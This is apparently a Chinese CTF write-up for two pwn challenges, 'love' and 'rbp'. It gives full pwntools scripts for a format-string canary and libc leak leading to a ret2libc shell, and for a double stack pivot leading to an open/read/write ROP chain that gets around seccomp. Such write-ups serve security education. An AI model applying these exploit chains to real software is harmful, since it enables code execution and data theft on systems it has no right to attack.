本文最后更新于:2023年8月3日 凌晨
love
看一眼就是非栈上格式化字符串加上栈溢出,修改v4
等于v5
,然后记录libc_base
和canary
,新线程获得canary
的方法是和主线程的canary
相同。
但是估计猜测原本是想搞TLS结构体,泄露canary可能是非预期解。目前本人还不会TLS求canary的做法,先给出一份利用格式化字符串漏洞泄露canary的做法。
然后额外先输入一次%p.%p.%p.%p.%p.%p.%p.%p.%p
测一下偏移长度,由于v4
和v5
分别在第一和第二个位置,在输出中可以得到分别在第八和第九个位置。接下来就是canary
和__libc_start_main
,通过调试与观察,相对位置分别在15和17位。
那么本题其实就没有什么难点了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * from LibcSearcher import * io = remote('', ) elf = ELF('./p') libc = ELF('./libc.so.6', False) ret = 0x4013f3 rdi = 0x4013f4 io.sendline(b'%8c%9$hhn %15$p %17$p') io.recvuntil(b'0x') canary = int(io.recv(16), 16) io.recvuntil(b'0x') lsm = int(io.recv(12), 16)
base = lsm - libc.sym['__libc_start_main'] sys = base + libc.sym['system'] bsh = base + libc.search(b'/bin/sh\x00').__next__() io.sendline(b'a'*0x28+p64(canary)+p64(0)+p64(ret)+p64(rdi)+p64(bsh)+p64(sys)) io.interactive()
|
rbp
init
中返回到了sandbox()
,利用seccomp-tools
检测dump出来了ban掉小于0x40000000
的地址,ban掉非x86_64
架构,execve
没了,肯定是orw了。
vuln
中要输入0x220字节,函数栈中buf+v2
一共0x210字节,刚好rbp+ret一共0x10,也有leave ret,肯定栈迁移。然后用vmmap看一下权限,往 0x404000 0x405000 rw-p 1000 3000 /some/place/rbp
的bss段写刚好,但是发现没有执行权限,不能写shellcode,所以只能是ROP链,但可执行程序文件本身并没有可用寄存器,那么我们就应该选择提供的libc文件中的寄存器操作。但由于最开始不知道基址,所以需要两次栈迁移,第一次用来泄露libc_base
,第二次完成orw。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context.log_level = 'debug' io = remote('', ) elf = ELF('./rbp', False) libc = ELF('./libc.so.6', False) vuln = 0x401270 leave = 0x4012BF rdi = 0x401353 rbp = 0x4012EE io.sendafter(b'it', p64(elf.got['read'])+b'a'*0x208+p64(0x404500)+p64(vuln)) payload = p64(rdi)+p64(elf.got.read)+p64(elf.plt.puts)+p64(rbp)+p64(0x404500)+p64(vuln) payload = payload.ljust(0x210, b'\x00')+p64(0x4042e8)+p64(leave)
io.sendafter(b'it', payload) addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) base = addr - libc.sym['read'] op = base + libc.sym['open'] re = base + libc.sym['read'] wr = base + libc.sym['write'] rax = base + 0x36174 rdi = base + 0x23b6a rsi = base + 0x2601f rdx = base + 0x142c92 syscall = base + 0x630a9 payload = b'./flag\x00\x00' payload += p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(0x4042f0)+p64(rsi)+p64(0)+p64(syscall) payload += p64(rdi)+p64(3)+p64(rsi)+p64(0x404600)+p64(rdx)+p64(0x100)+p64(re) payload += p64(rdi)+p64(1)+p64(rsi)+p64(0x404600)+p64(rdx)+p64(0x100)+p64(wr) payload = payload.ljust(0x210) + p64(0x4042f0) + p64(leave) io.sendline(payload) io.interactive()
|
后面的题还等待后续复现